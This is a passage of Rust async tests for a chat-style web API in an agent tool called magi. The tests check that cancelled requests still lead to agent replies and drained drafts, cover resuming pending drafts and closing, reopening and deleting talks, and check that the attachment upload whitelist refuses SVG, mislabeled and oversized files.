15174        let mut turns_after = 1;
15175        for _ in 0..SETTLE_STEPS {
15176            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15177            turns_after = detail["turns"].as_array().expect("turns array").len();
15178            if turns_after == 2 {
15179                break;
15180            }
15181            tokio::time::sleep(Duration::from_millis(10)).await;
15182        }
15183        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15184    }
15185
15186    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15187    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15188    /// guards against: `talk::record` used to return, and only *then* did the
15189    /// handler make a second, separate disk round trip before spawning the
15190    /// agent's reply task. A future dropped in that gap left a message
15191    /// recorded on disk with no reply task ever started and no way back short
15192    /// of a fresh message - and the gap was not even the whole story: *any*
15193    /// `.await` in this handler, including the very first one, is a point
15194    /// where a drop can land after the awaited work already finished but
15195    /// before this handler's own code resumes to act on it. `record` now
15196    /// runs inside the task `tokio::spawn` hands to the runtime before this
15197    /// handler ever awaits anything of its own again, so there is nothing
15198    /// left in *this* handler's future for a disconnect to interrupt between
15199    /// the message landing on disk and the reply task starting.
15200    ///
15201    /// A real socket disconnect cannot be relied on to land in the old gap
15202    /// from a test - over loopback, `talk_say` typically finishes before the
15203    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15204    /// same failure mode directly: it drops the task's future at whatever
15205    /// point it has reached, exactly what axum does to the handler future,
15206    /// without needing to win a real network race. Sweeping the delay before
15207    /// aborting samples a range of points the task's execution can be at,
15208    /// including where the old code sat waiting on its second disk round
15209    /// trip - confirmed by reverting this fix locally and watching this same
15210    /// sweep catch a talk stuck with the operator's turn recorded and no
15211    /// reply ever following.
15212    #[tokio::test]
15213    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15214        let tmp = TempDir::new().expect("tempdir");
15215        let repo = tmp.path().join("repo");
15216        std::fs::create_dir_all(&repo).expect("repo dir");
15217        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15218        let home = TempDir::new().expect("temp home");
15219        let talks = Talks::at(home.path().join("talks"));
15220        let ui = Arc::new(
15221            Ui::new(
15222                Queue::at(home.path().join("queue")),
15223                Questions::at(home.path().join("questions")),
15224                talks.clone(),
15225                home.path().join("runs"),
15226                home.path().to_path_buf(),
15227                repo.clone(),
15228            )
15229            .with_worktrees_root(home.path().join("wt")),
15230        );
15231        let cfg = config_for(&repo).await.expect("discover config");
15232
15233        for delay in 0..40u32 {
15234            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15235            let id = talk.id.clone();
15236
15237            let handler = tokio::spawn(talk_say(
15238                State(Arc::clone(&ui)),
15239                Path(id.clone()),
15240                Ok(Json(NewTalkTurn {
15241                    reply_to: None,
15242                    text: "what does the queue module do?".to_owned(),
15243                    attachments: Vec::new(),
15244                })),
15245            ));
15246            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15247            handler.abort();
15248            // Wait out the abort so the next iteration's talk does not race
15249            // this one's still-unwinding turn guard.
15250            let _ = handler.await;
15251
15252            let mut turns = 0;
15253            for _ in 0..SETTLE_STEPS {
15254                if let Ok(fresh) = talks.get(&id) {
15255                    turns = fresh.turns.len();
15256                    if turns != 1 {
15257                        break;
15258                    }
15259                }
15260                tokio::time::sleep(Duration::from_millis(10)).await;
15261            }
15262            assert_ne!(
15263                turns, 1,
15264                "delay {delay}: talk {id} recorded the operator's turn but \
15265                 the agent never answered - the reply task was never \
15266                 started after the handler future was dropped"
15267            );
15268        }
15269    }
15270
15271    /// The same drop, landing on `talk_say`'s other durable write.
15272    ///
15273    /// When a turn is already running, the busy branch persists the
15274    /// operator's text as a queued draft and then reclaims the turn slot if
15275    /// the holder gave it up in the meantime - and whoever reclaims owes that
15276    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15277    /// which finishes whether or not the future awaiting it is still there,
15278    /// so a handler dropped at that `.await` used to leave the draft written
15279    /// to disk with the reclaimed guard dropped unread and no drainer ever
15280    /// started: the message sat queued until some unrelated later `say`
15281    /// happened to pick it up.
15282    ///
15283    /// This used to drive the handler future by hand, polling it a fixed
15284    /// number of times to park it at the `.await` where it asks for the turn
15285    /// and finds it busy, before the reclaim's slot-free case could be set up
15286    /// underneath it. That assumed a fixed number of polls lands at a fixed
15287    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15288    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15289    /// poll, so any number of this handler's several `blocking` awaits can
15290    /// collapse into one poll under load, landing the drive somewhere other
15291    /// than intended - including, occasionally, straight past the handler's
15292    /// own completion, which made polling it again panic with "async fn
15293    /// resumed after completion". No poll count fixes that; the handler's
15294    /// progress simply is not something a caller outside it can observe by
15295    /// counting.
15296    ///
15297    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15298    /// inside the write itself, so the interleaving under test is pinned by
15299    /// an event instead of a guess: the gate fires only once the handler has
15300    /// actually decided `Busy` and is about to persist the draft, and it
15301    /// blocks that write until the test lets it through. Between those two
15302    /// moments the test drains the turn the handler found busy - through
15303    /// `drain_loop`, the protocol's other half - and then aborts the handler
15304    /// task outright, the same way axum drops a disconnected request's
15305    /// future. The write, and the reclaim it may do, run to completion
15306    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15307    /// to the runtime before ever touching the gate, wholly independent of
15308    /// whether the handler that started it is still around - which is what
15309    /// this test is actually checking. A drainer other than that reclaim
15310    /// cannot exist here: the test's own `drain_loop` call happens before the
15311    /// gate opens, so it runs while the queue is still empty and hands the
15312    /// turn straight back rather than draining anything, closing off the
15313    /// possibility of the final assertion passing without the reclaim ever
15314    /// having done its job.
15315    #[tokio::test]
15316    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15317        let tmp = TempDir::new().expect("tempdir");
15318        let repo = tmp.path().join("repo");
15319        std::fs::create_dir_all(&repo).expect("repo dir");
15320        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15321        let home = TempDir::new().expect("temp home");
15322        let talks = Talks::at(home.path().join("talks"));
15323        let ui = Arc::new(
15324            Ui::new(
15325                Queue::at(home.path().join("queue")),
15326                Questions::at(home.path().join("questions")),
15327                talks.clone(),
15328                home.path().join("runs"),
15329                home.path().to_path_buf(),
15330                repo.clone(),
15331            )
15332            .with_worktrees_root(home.path().join("wt")),
15333        );
15334        let cfg = config_for(&repo).await.expect("discover config");
15335
15336        for attempt in 0..3u32 {
15337            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15338            let id = talk.id.clone();
15339            // A turn is already running, which is what sends `talk_say` down
15340            // the busy branch.
15341            let turn_guard = ui
15342                .begin_talk_turn(&id)
15343                .expect("claim the turn")
15344                .expect("a fresh talk owes nobody a turn");
15345
15346            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15347            let (release_tx, release_rx) = std::sync::mpsc::channel();
15348            ui.set_busy_queue_gate(BusyQueueGate {
15349                reached: reached_tx,
15350                release: release_rx,
15351            });
15352
15353            let handler = tokio::spawn(talk_say(
15354                State(Arc::clone(&ui)),
15355                Path(id.clone()),
15356                Ok(Json(NewTalkTurn {
15357                    reply_to: None,
15358                    text: "what does the queue module do?".to_owned(),
15359                    attachments: Vec::new(),
15360                })),
15361            ));
15362
15363            // Wait for the busy branch to actually reach the gate, rather
15364            // than for any fixed number of polls of anything - a bounded
15365            // wait rather than a bare `.await` so a regression that never
15366            // reaches the gate fails the test instead of hanging it.
15367            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15368                .await
15369                .unwrap_or_else(|_| {
15370                    panic!(
15371                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15372                    )
15373                })
15374                .expect("the busy branch dropped the gate without using it");
15375            assert!(
15376                crate::consult::try_publication_guard(&talks, &id)
15377                    .expect("publication fence")
15378                    .is_none(),
15379                "a queued worker cannot promote text before its successor reservation is published"
15380            );
15381
15382            // A listener replacement queues its writer behind this accepted
15383            // mutation. Even disconnecting the HTTP caller must not release
15384            // admission before the write-to-worker handoff has completed.
15385            let closing = Arc::clone(&ui.admissions).write_owned();
15386            tokio::pin!(closing);
15387            std::future::poll_fn(|cx| {
15388                assert!(closing.as_mut().poll(cx).is_pending());
15389                std::task::Poll::Ready(())
15390            })
15391            .await;
15392            assert!(
15393                ui.begin_admission().is_err(),
15394                "replacement blocks later admissions"
15395            );
15396
15397            // The turn that was running now finishes and gives the slot up
15398            // the way a real one does - through `drain_loop`, which finds
15399            // nothing queued yet (the write is still held at the gate) and
15400            // releases. The handler, parked inside `spawn_blocking` on the
15401            // other side of the gate, still believes the talk is busy -
15402            // exactly the interleaving the reclaim exists for.
15403            let running = talks.get(&id).expect("reload talk");
15404            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15405
15406            // Drop the handler future now, the way a reloading phone drops
15407            // it: suspended waiting on the busy branch's answer, having
15408            // itself made no more progress since it handed the write off.
15409            handler.abort();
15410            let _ = handler.await;
15411            std::future::poll_fn(|cx| {
15412                assert!(
15413                    closing.as_mut().poll(cx).is_pending(),
15414                    "HTTP cancellation must not abandon a publishing transaction"
15415                );
15416                std::task::Poll::Ready(())
15417            })
15418            .await;
15419            assert!(
15420                crate::consult::try_publication_guard(&talks, &id)
15421                    .expect("publication fence after disconnect")
15422                    .is_none()
15423            );
15424
15425            // Only now let the gated write proceed. It persists the draft
15426            // and reclaims the now-free slot from inside the task the busy
15427            // branch already spawned - unaffected by the handler's abort
15428            // above, since that task was independent of the handler's own
15429            // future from the moment it was spawned.
15430            let _ = release_tx.send(());
15431            drop(
15432                tokio::time::timeout(Duration::from_secs(5), closing)
15433                    .await
15434                    .expect("short admission transaction should release for replacement"),
15435            );
15436            assert!(
15437                crate::consult::try_publication_guard(&talks, &id)
15438                    .expect("publication fence after acknowledgement")
15439                    .is_some(),
15440                "the publication fence is not retained by the long response"
15441            );
15442
15443            // A settled talk: the draft drained into an operator turn and
15444            // answered.
15445            let mut fresh = talks.get(&id).expect("reload talk");
15446            for _ in 0..SETTLE_STEPS {
15447                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15448                    break;
15449                }
15450                tokio::time::sleep(Duration::from_millis(10)).await;
15451                fresh = talks.get(&id).expect("reload talk");
15452            }
15453            assert!(
15454                fresh.pending.is_empty() && fresh.turns.len() == 2,
15455                "attempt {attempt}: talk {id} left the operator's text queued \
15456                 with no drainer - the reclaimed turn was dropped along with \
15457                 the handler future (pending {:?}, {} turns)",
15458                fresh.pending,
15459                fresh.turns.len()
15460            );
15461        }
15462    }
15463
15464    #[tokio::test]
15465    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15466        let (_tmp, _repo, f) = talk_fixture().await;
15467        let id = f.post("/api/talks", None).await.json()["id"]
15468            .as_str()
15469            .expect("id")
15470            .to_owned();
15471        let store = f.talks();
15472        let mut recovered = store.get(&id).expect("opened talk");
15473        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15474            .expect("persist pending draft without a live turn");
15475
15476        let edited = f
15477            .post(
15478                &format!("/api/talks/{id}/pending/edit"),
15479                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15480            )
15481            .await;
15482        assert_eq!(edited.status, 200, "{}", edited.body);
15483        assert!(edited.json()["thinking"].as_bool().unwrap());
15484
15485        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15486        for _ in 0..SETTLE_STEPS {
15487            if detail["turns"].as_array().expect("turns").len() == 2 {
15488                break;
15489            }
15490            tokio::time::sleep(Duration::from_millis(10)).await;
15491            detail = f.get(&format!("/api/talks/{id}")).await.json();
15492        }
15493        let turns = detail["turns"].as_array().expect("turns");
15494        assert_eq!(
15495            turns.len(),
15496            2,
15497            "the recovered draft must run once: {detail}"
15498        );
15499        assert_eq!(turns[0]["body"], "corrected");
15500        assert_eq!(detail["pending"], "");
15501    }
15502
15503    #[tokio::test]
15504    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15505        let tmp = TempDir::new().expect("tempdir");
15506        let repo = tmp.path().join("repo");
15507        std::fs::create_dir_all(&repo).expect("repo dir");
15508        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15509        let f = Fixture::with_repo(repo).await;
15510        let id = f.post("/api/talks", None).await.json()["id"]
15511            .as_str()
15512            .expect("id")
15513            .to_owned();
15514        let store = f.talks();
15515        let mut recovered = store.get(&id).expect("opened talk");
15516        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15517            .expect("persist pending draft without a live turn");
15518
15519        let refused = f
15520            .post(
15521                &format!("/api/talks/{id}/say"),
15522                Some(r#"{"text":"new message"}"#),
15523            )
15524            .await;
15525        assert_eq!(refused.status, 409, "{}", refused.body);
15526        assert!(refused.body.contains("resume"), "{}", refused.body);
15527        let saved = store.get(&id).expect("draft remains after refusal");
15528        assert!(saved.turns.is_empty());
15529        assert_eq!(saved.pending, "saved before restart");
15530
15531        let say_path = format!("/api/talks/{id}/say");
15532        let (first, second) = tokio::join!(
15533            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15534            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15535        );
15536        assert_eq!(first.status, 409, "{}", first.body);
15537        assert_eq!(second.status, 409, "{}", second.body);
15538        let saved = store
15539            .get(&id)
15540            .expect("draft remains after concurrent refusals");
15541        assert!(saved.turns.is_empty());
15542        assert_eq!(saved.pending, "saved before restart");
15543
15544        let resumed = f
15545            .post(&format!("/api/talks/{id}/pending/resume"), None)
15546            .await;
15547        assert_eq!(resumed.status, 202, "{}", resumed.body);
15548        let duplicate = f
15549            .post(&format!("/api/talks/{id}/pending/resume"), None)
15550            .await;
15551        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15552
15553        for _ in 0..SETTLE_STEPS {
15554            if store.get(&id).expect("talk").turns.len() == 2 {
15555                break;
15556            }
15557            tokio::time::sleep(Duration::from_millis(10)).await;
15558        }
15559        let finished = store.get(&id).expect("finished talk");
15560        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15561        assert_eq!(finished.turns[0].body, "saved before restart");
15562        assert!(finished.pending.is_empty());
15563    }
15564
15565    #[tokio::test]
15566    async fn an_image_only_recovered_draft_resumes_without_text() {
15567        let (_tmp, _repo, f) = talk_fixture().await;
15568        let id = f.post("/api/talks", None).await.json()["id"]
15569            .as_str()
15570            .expect("id")
15571            .to_owned();
15572        let uploaded = f
15573            .post_bytes(
15574                &format!("/api/talks/{id}/attachments"),
15575                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15576                PNG_BYTES,
15577            )
15578            .await;
15579        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15580        let attachment = f
15581            .talks()
15582            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15583            .expect("attachment metadata")
15584            .expect("stored attachment");
15585        let store = f.talks();
15586        let mut recovered = store.get(&id).expect("opened talk");
15587        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15588
15589        let resumed = f
15590            .post(&format!("/api/talks/{id}/pending/resume"), None)
15591            .await;
15592        assert_eq!(resumed.status, 202, "{}", resumed.body);
15593        for _ in 0..SETTLE_STEPS {
15594            if store.get(&id).expect("talk").turns.len() == 2 {
15595                break;
15596            }
15597            tokio::time::sleep(Duration::from_millis(10)).await;
15598        }
15599        let finished = store.get(&id).expect("finished talk");
15600        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15601        assert!(finished.turns[0].body.is_empty());
15602        assert_eq!(finished.turns[0].attachments.len(), 1);
15603        assert!(finished.pending_attachments.is_empty());
15604    }
15605
15606    #[tokio::test]
15607    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15608        let (_tmp, _repo, f) = talk_fixture().await;
15609        let id = f.post("/api/talks", None).await.json()["id"]
15610            .as_str()
15611            .expect("id")
15612            .to_owned();
15613        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15614        assert_eq!(closed.status, 200, "{}", closed.body);
15615        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15616            .expect("serialize closed talk");
15617        for (path, body) in [
15618            (format!("/api/talks/{id}/pending/resume"), None),
15619            (
15620                format!("/api/talks/{id}/pending/clear"),
15621                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15622            ),
15623            (
15624                format!("/api/talks/{id}/pending/edit"),
15625                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15626            ),
15627            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15628        ] {
15629            let response = f.post(&path, body).await;
15630            assert_eq!(response.status, 409, "{}", response.body);
15631        }
15632        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15633            .expect("serialize closed talk");
15634        assert_eq!(
15635            after_clear, before_clear,
15636            "clear must not rewrite a closed talk"
15637        );
15638    }
15639
15640    /// Keeps both claims observable long enough to exercise the distinction
15641    /// between one busy talk and a globally locked Chat surface.
15642    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15643
15644    #[tokio::test]
15645    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15646        let tmp = TempDir::new().expect("tempdir");
15647        let repo = tmp.path().join("repo");
15648        std::fs::create_dir_all(&repo).expect("repo dir");
15649        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15650        let f = Fixture::with_repo(repo).await;
15651        let id_a = f.post("/api/talks", None).await.json()["id"]
15652            .as_str()
15653            .unwrap()
15654            .to_owned();
15655        let id_b = f.post("/api/talks", None).await.json()["id"]
15656            .as_str()
15657            .unwrap()
15658            .to_owned();
15659
15660        let a = f
15661            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15662            .await;
15663        assert_eq!(a.status, 202, "{}", a.body);
15664        assert_eq!(a.json()["thinking"], true);
15665        let b = f
15666            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15667            .await;
15668        assert_eq!(b.status, 202, "{}", b.body);
15669        assert_eq!(b.json()["thinking"], true);
15670
15671        let listed = f.get("/api/talks").await.json();
15672        for id in [&id_a, &id_b] {
15673            let view = listed
15674                .as_array()
15675                .unwrap()
15676                .iter()
15677                .find(|talk| talk["id"] == *id)
15678                .unwrap();
15679            assert_eq!(view["thinking"], true, "{listed}");
15680        }
15681        let repeated = f
15682            .post(
15683                &format!("/api/talks/{id_a}/say"),
15684                Some(r#"{"text":"again"}"#),
15685            )
15686            .await;
15687        assert_eq!(repeated.status, 202, "{}", repeated.body);
15688        assert_eq!(repeated.json()["pending"], "again");
15689    }
15690
15691    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15692    /// few more, since real uploads are never exactly eight bytes.
15693    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15694
15695    #[tokio::test]
15696    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15697        let f = Fixture::start().await;
15698        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15699
15700        let res = f
15701            .post_bytes(
15702                &format!("/api/talks/{id}/attachments"),
15703                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15704                PNG_BYTES,
15705            )
15706            .await;
15707        assert_eq!(res.status, 201, "{}", res.body);
15708        let body = res.json();
15709        assert_eq!(body["name"], "shot.png");
15710        assert_eq!(body["mime"], "image/png");
15711        assert_eq!(body["bytes"], PNG_BYTES.len());
15712        let att_id = body["id"].as_str().expect("id").to_owned();
15713        assert_eq!(
15714            att_id.len(),
15715            32,
15716            "the id must never be a client-suppliable path: {att_id}"
15717        );
15718
15719        let got = f
15720            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15721            .await;
15722        assert_eq!(got.status, 200, "{}", got.body);
15723        assert_eq!(got.header("content-type"), Some("image/png"));
15724        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15725        assert_eq!(got.bytes, PNG_BYTES);
15726    }
15727
15728    #[tokio::test]
15729    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15730        let f = Fixture::start().await;
15731        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15732
15733        // SVG can carry a `<script>`, so it is never on the whitelist even
15734        // though it is a real IANA image type.
15735        let svg = f
15736            .post_bytes(
15737                &format!("/api/talks/{id}/attachments"),
15738                &[("Content-Type", "image/svg+xml")],
15739                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15740            )
15741            .await;
15742        assert!(
15743            (400..500).contains(&svg.status),
15744            "svg must be refused: {} {}",
15745            svg.status,
15746            svg.body
15747        );
15748        assert!(svg.body.contains("SVG"), "{}", svg.body);
15749
15750        let text = f
15751            .post_bytes(
15752                &format!("/api/talks/{id}/attachments"),
15753                &[("Content-Type", "text/plain")],
15754                b"just some text",
15755            )
15756            .await;
15757        assert!(
15758            (400..500).contains(&text.status),
15759            "an unlisted type must be refused: {} {}",
15760            text.status,
15761            text.body
15762        );
15763
15764        // The declared type is a real png, but the size check runs before
15765        // the bytes are even looked at.
15766        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15767        let big = f
15768            .post_bytes(
15769                &format!("/api/talks/{id}/attachments"),
15770                &[("Content-Type", "image/png")],
15771                &oversized,
15772            )
15773            .await;
15774        assert_eq!(
15775            big.status,
15776            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15777            "{}",
15778            big.body
15779        );
15780    }
15781
15782    #[tokio::test]
15783    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15784        let f = Fixture::start().await;
15785        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15786
15787        // A whitelisted `Content-Type`, but bytes that are not actually a
15788        // png - the declared header alone is never trusted.
15789        let res = f
15790            .post_bytes(
15791                &format!("/api/talks/{id}/attachments"),
15792                &[("Content-Type", "image/png")],
15793                b"<html>not a picture</html>",
15794            )
15795            .await;
15796        assert!((400..500).contains(&res.status), "{}", res.body);
15797    }
15798
15799    #[tokio::test]
15800    async fn an_unknown_attachment_id_is_a_404() {
15801        let f = Fixture::start().await;
15802        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15803
15804        let res = f
15805            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15806            .await;
15807        assert_eq!(res.status, 404, "{}", res.body);
15808    }
15809
15810    #[tokio::test]
15811    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15812        let f = Fixture::start().await;
15813        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15814
15815        let uploaded = f
15816            .post_bytes(
15817                &format!("/api/talks/{id}/attachments"),
15818                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15819                PNG_BYTES,
15820            )
15821            .await;
15822        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15823        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15824
15825        let res = f
15826            .post(
15827                &format!("/api/talks/{id}/say"),
15828                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15829            )
15830            .await;
15831        assert_eq!(res.status, 202, "{}", res.body);
15832        let queued = res.json();
15833        let turns = queued["turns"].as_array().expect("turns array");
15834        assert_eq!(
15835            turns.len(),
15836            1,
15837            "an empty body with an attachment is still a turn: {queued}"
15838        );
15839        assert_eq!(turns[0]["who"], "operator");
15840        assert_eq!(turns[0]["body"], "");
15841        let atts = turns[0]["attachments"]
15842            .as_array()
15843            .expect("attachments array");
15844        assert_eq!(atts.len(), 1);
15845        assert_eq!(atts[0]["id"], att_id);
15846        assert_eq!(atts[0]["mime"], "image/png");
15847
15848        // Not only in the response: `record` flushes to disk before the
15849        // agent's own turn is even spawned.
15850        let on_disk = f.talks().get(&id).expect("get");
15851        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15852        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15853    }
15854
15855    #[tokio::test]
15856    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15857        let f = Fixture::start().await;
15858        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15859
15860        let res = f
15861            .post(
15862                &format!("/api/talks/{id}/say"),
15863                Some(&format!(
15864                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15865                    "a".repeat(32)
15866                )),
15867            )
15868            .await;
15869        assert!((400..500).contains(&res.status), "{}", res.body);
15870        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15871
15872        let on_disk = f.talks().get(&id).expect("get");
15873        assert!(
15874            on_disk.turns.is_empty(),
15875            "a rejected attachment id must not partially record the turn: {:?}",
15876            on_disk.turns
15877        );
15878    }
15879
15880    #[tokio::test]
15881    async fn talk_close_makes_the_talk_refuse_further_turns() {
15882        let f = Fixture::start().await;
15883        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15884
15885        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15886        assert_eq!(closed.status, 200, "{}", closed.body);
15887        assert_eq!(closed.json()["status"], "closed");
15888
15889        // Idempotent: closing an already-closed talk is not an error.
15890        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15891        assert_eq!(closed_again.status, 200);
15892        assert_eq!(closed_again.json()["status"], "closed");
15893
15894        let said = f
15895            .post(
15896                &format!("/api/talks/{id}/say"),
15897                Some(r#"{"text":"too late"}"#),
15898            )
15899            .await;
15900        assert_eq!(said.status, 409, "{}", said.body);
15901    }
15902
15903    #[tokio::test]
15904    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15905        let (_tmp, _repo, f) = talk_fixture().await;
15906        let id = f.post("/api/talks", None).await.json()["id"]
15907            .as_str()
15908            .expect("id")
15909            .to_owned();
15910        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15911        assert_eq!(closed.status, 200, "{}", closed.body);
15912
15913        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15914        assert_eq!(reopened.status, 200, "{}", reopened.body);
15915        assert_eq!(reopened.json()["status"], "open");
15916
15917        // Idempotent: reopening an already-open talk is not an error.
15918        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15919        assert_eq!(reopened_again.status, 200);
15920        assert_eq!(reopened_again.json()["status"], "open");
15921
15922        let said = f
15923            .post(
15924                &format!("/api/talks/{id}/say"),
15925                Some(r#"{"text":"still there?"}"#),
15926            )
15927            .await;
15928        assert_eq!(
15929            said.status, 202,
15930            "a reopened talk accepts turns again: {}",
15931            said.body
15932        );
15933    }
15934
15935    #[tokio::test]
15936    async fn talk_reopen_on_an_unknown_id_is_404() {
15937        let f = Fixture::start().await;
15938        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15939        assert_eq!(res.status, 404, "{}", res.body);
15940    }
15941
15942    #[tokio::test]
15943    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15944        let f = Fixture::start().await;
15945        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15946
15947        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15948        assert_eq!(deleted.status, 204, "{}", deleted.body);
15949
15950        let after = f.get(&format!("/api/talks/{id}")).await;
15951        assert_eq!(after.status, 404, "{}", after.body);
15952
15953        let listed = f.get("/api/talks").await.json();
15954        assert!(
15955            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15956            "a deleted talk must not linger in the list: {listed}"
15957        );
15958    }
15959
15960    #[tokio::test]
15961    async fn talk_delete_on_an_unknown_id_is_404() {
15962        let f = Fixture::start().await;
15963        let res = f.delete("/api/talks/nonexistent-id").await;
15964        assert_eq!(res.status, 404, "{}", res.body);
15965    }
15966
15967    /// A task's page lists every run it ever had, in order, and says what kind
15968    /// of attempt each was - including a resume, which re-pushes the same run
15969    /// id, and a run whose record this build cannot read.
15970    #[tokio::test]
15971    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15972        let f = Fixture::start().await;
15973        let (a, b, gone) = (
15974            "20260902-140501-aaaa",
15975            "20260902-140502-bbbb",
15976            "20260902-140503-cccc",
15977        );
15978        write_run(&f.runs(), a, RunStatus::Stalled);
15979        let mut review = RunState::new(
15980            PathBuf::from("/repo/magi"),
15981            "main".to_owned(),
15982            "0123456789abcdef".to_owned(),
15983            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15984                .to_owned(),
15985            Config::default(),
15986        );
15987        review.id = b.to_owned();
15988        review.status = RunStatus::Merged;
15989        write_state(&f.runs(), &review);
15990
15991        let mut task = Task::new(
15992            "retry".to_owned(),
15993            "Do the thing".to_owned(),
15994            PathBuf::from("/repo/magi"),
15995            Source::Human,
15996        );
15997        task.start(a.to_owned());
15998        task.stall("quota");
15999        task.start(a.to_owned());
16000        task.start(b.to_owned());
16001        task.start(gone.to_owned());
16002        // This fixture models an older queue file with repeated run entries.
16003        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16004        f.queue().put(&mut task).expect("file the task");
16005
16006        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16007        assert_eq!(res.status, 200, "{}", res.body);
16008        let v = res.json();
16009        let h = v["history"].as_array().expect("history");
16010        assert_eq!(h.len(), 4, "{v}");
16011        assert_eq!(h[0]["kind"], "competition");
16012        assert_eq!(h[0]["status"], "stalled");
16013        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16014        assert_eq!(h[1]["kind"], "resume", "{v}");
16015        assert!(
16016            h[0]["outcome"]
16017                .as_str()
16018                .unwrap()
16019                .contains("unknown. Pass #2"),
